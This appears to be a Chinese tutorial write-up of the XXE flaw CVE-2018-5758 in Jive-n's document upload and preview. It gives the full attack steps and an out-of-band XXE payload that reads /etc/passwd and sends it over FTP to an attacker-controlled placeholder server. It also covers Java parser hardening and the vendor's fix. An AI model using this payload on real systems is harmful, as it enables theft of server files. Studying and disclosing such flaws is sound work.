挖洞经验 | 看我如何在Jive-n中发现了一个XXE漏洞 (CVE-2018-5758)
字数 1343 2025-08-18 11:37:07

XML外部实体注入(XXE)漏洞分析与利用教学文档

1. XXE漏洞概述

XML外部实体注入(XXE)是一种安全漏洞,攻击者能够通过操纵应用程序的XML解析器来读取服务器上的任意文件,执行远程请求,甚至可能导致服务器端请求伪造(SSRF)。

2. 漏洞发现背景

  • 目标系统: Jive Software的Jive-n平台(企业内网社交通信软件)
  • 漏洞编号: CVE-2018-5758
  • 漏洞类型: 文件上传功能中的XXE漏洞
  • 影响: 可读取目标操作系统中的任何文件和文件夹内容

3. 漏洞利用条件

  1. 应用程序接受XML输入
  2. XML解析器配置不当,启用了外部实体处理
  3. 攻击者能够上传或提交恶意构造的XML文件

4. 漏洞利用步骤详解

4.1 准备阶段

  1. 搭建XXE服务器:

    • HTTP监听器(端口80)
    • FTP监听器(端口8080)
    • 推荐使用Rhino安全实验室开发的专用服务器工具
  2. 构造恶意Word文档:

    • 使用oxml_xxe工具(下载地址
    • 嵌入XXE Payload,目标文件设置为file:///etc/passwd
  3. Payload结构:

    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % all "<!ENTITY send SYSTEM 'ftp://our-external-server.com:8080/%file;'>">
    %all;
    

4.2 攻击执行

  1. 上传恶意文档:

    • 通过Jive-n的文件上传功能上传构造的Word文档
    • 使用"保存草稿"功能避免立即暴露给其他用户
  2. 触发漏洞:

    • 应用程序尝试通过Flash对象预览文档内容
    • 点击"View"(查看)选项触发XML解析
  3. 数据外泄:

    • 应用程序解析恶意XML
    • 通过FTP协议将目标文件内容发送到攻击者服务器

4.3 验证攻击成功

  1. 服务器日志检查:

    • HTTP请求日志(蓝色框)
    • 服务器响应(绿色框)
    • FTP传输的数据(橙红色框)
  2. 目录遍历验证:

    • 修改Payload为file:///etc/可获取目录列表
    • 确认服务器能够接收目录结构信息

5. 技术细节分析

  1. 攻击原理:

    • 利用XML解析器处理外部实体的功能
    • 通过DTD定义恶意实体引用
    • 使用FTP协议绕过某些网络限制
  2. 关键点:

    • 必须能够控制XML输入
    • XML解析器必须启用外部实体处理
    • 需要外网服务器接收数据
  3. 攻击扩展:

    • 读取系统敏感文件(如/etc/passwd)
    • 内网端口扫描
    • 服务器端请求伪造(SSRF)

6. 防御措施

6.1 开发层面

  1. 禁用外部实体处理:

    // Java示例
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
  2. 使用安全配置:

    • 使用最新的XML解析库
    • 启用安全处理模式
  3. 输入验证:

    • 对上传文件进行严格的内容检查
    • 限制文件类型

6.2 运维层面

  1. 部署WAF:

    • 配置规则拦截XXE攻击特征
  2. 文件扫描:

    • 使用反病毒软件扫描上传文件
    • 监控异常外联请求
  3. 网络限制:

    • 限制服务器出站连接
    • 监控异常FTP请求

7. 厂商修复方案

Jive-n的修复措施:

  1. 禁用远程DTD访问
  2. XML解释器不再处理外部实体
  3. SaaS版本已更新修复

8. 学习资源

  1. OWASP XXE文档: 传送门
  2. Rhino安全实验室工具: 传送门
  3. oxml_xxe工具: 下载地址

9. 总结

XXE漏洞危害严重,通过精心构造的XML文件可以读取服务器敏感信息。防御需要开发、运维多层面配合,关键是要禁用XML解析器的外部实体处理功能。此案例展示了如何通过文件上传功能利用XXE漏洞,对类似功能的安全设计具有重要参考价值。

XML外部实体注入(XXE)漏洞分析与利用教学文档 1. XXE漏洞概述 XML外部实体注入(XXE)是一种安全漏洞,攻击者能够通过操纵应用程序的XML解析器来读取服务器上的任意文件,执行远程请求,甚至可能导致服务器端请求伪造(SSRF)。 2. 漏洞发现背景 目标系统 : Jive Software的Jive-n平台(企业内网社交通信软件) 漏洞编号 : CVE-2018-5758 漏洞类型 : 文件上传功能中的XXE漏洞 影响 : 可读取目标操作系统中的任何文件和文件夹内容 3. 漏洞利用条件 应用程序接受XML输入 XML解析器配置不当,启用了外部实体处理 攻击者能够上传或提交恶意构造的XML文件 4. 漏洞利用步骤详解 4.1 准备阶段 搭建XXE服务器 : HTTP监听器(端口80) FTP监听器(端口8080) 推荐使用Rhino安全实验室开发的专用服务器工具 构造恶意Word文档 : 使用oxml_ xxe工具( 下载地址 ) 嵌入XXE Payload,目标文件设置为 file:///etc/passwd Payload结构 : 4.2 攻击执行 上传恶意文档 : 通过Jive-n的文件上传功能上传构造的Word文档 使用"保存草稿"功能避免立即暴露给其他用户 触发漏洞 : 应用程序尝试通过Flash对象预览文档内容 点击"View"(查看)选项触发XML解析 数据外泄 : 应用程序解析恶意XML 通过FTP协议将目标文件内容发送到攻击者服务器 4.3 验证攻击成功 服务器日志检查 : HTTP请求日志(蓝色框) 服务器响应(绿色框) FTP传输的数据(橙红色框) 目录遍历验证 : 修改Payload为 file:///etc/ 可获取目录列表 确认服务器能够接收目录结构信息 5. 技术细节分析 攻击原理 : 利用XML解析器处理外部实体的功能 通过DTD定义恶意实体引用 使用FTP协议绕过某些网络限制 关键点 : 必须能够控制XML输入 XML解析器必须启用外部实体处理 需要外网服务器接收数据 攻击扩展 : 读取系统敏感文件(如/etc/passwd) 内网端口扫描 服务器端请求伪造(SSRF) 6. 防御措施 6.1 开发层面 禁用外部实体处理 : 使用安全配置 : 使用最新的XML解析库 启用安全处理模式 输入验证 : 对上传文件进行严格的内容检查 限制文件类型 6.2 运维层面 部署WAF : 配置规则拦截XXE攻击特征 文件扫描 : 使用反病毒软件扫描上传文件 监控异常外联请求 网络限制 : 限制服务器出站连接 监控异常FTP请求 7. 厂商修复方案 Jive-n的修复措施: 禁用远程DTD访问 XML解释器不再处理外部实体 SaaS版本已更新修复 8. 学习资源 OWASP XXE文档: 传送门 Rhino安全实验室工具: 传送门 oxml_ xxe工具: 下载地址 9. 总结 XXE漏洞危害严重,通过精心构造的XML文件可以读取服务器敏感信息。防御需要开发、运维多层面配合,关键是要禁用XML解析器的外部实体处理功能。此案例展示了如何通过文件上传功能利用XXE漏洞,对类似功能的安全设计具有重要参考价值。